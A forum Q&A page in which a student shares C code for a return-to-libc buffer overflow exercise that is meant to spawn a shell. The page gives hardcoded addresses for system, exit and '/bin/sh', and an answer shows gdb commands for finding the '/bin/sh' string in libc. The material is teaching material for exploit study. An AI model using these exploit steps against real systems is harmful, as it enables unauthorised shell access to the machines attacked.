return to lib_c buffer overflow exercise issue

lightningmanic picture lightningmanic · Oct 1, 2013 · Viewed 48.2k times · Source

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:

#include <stdio.h>
int main(int argc, char*argv[]){
    char buffer[7];

    char buf[42];
    int i = 0;
    while(i < 28)
    {
            buf[i] = 'a';
            i = i + 1;
    }

    *(int *)&buf[28] = 0x4c4ab0;
    *(int *)&buf[32] = 0x4ba520;
    *(int *)&buf[36] = 0xbfffff13;

    strcpy(buffer, buf);

    return 0;
}

Using gdb, I've been able to determine the following:

  • Address for "system": 0x4c4ab0
  • Address for "exit": 0x4ba520
  • The string "/bin/sh" resides in memory at: 0xbfffff13

I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.

When I run the program, however, I get the following:

sh: B���: command not found
Segmentation fault (core dumped)

I'm really not sure what I'm doing wrong...

[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:

export MYSHELL="/bin/sh"

Answer

Lucifer picture Lucifer · Jul 29, 2014

You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:

> (gdb) break main
> 
> (gdb) run   
>
> (gdb) print &system  
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
> 
> (gdb) find &system,+9999999,"/bin/sh"  
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search. 
> 1 pattern found.

Good luck.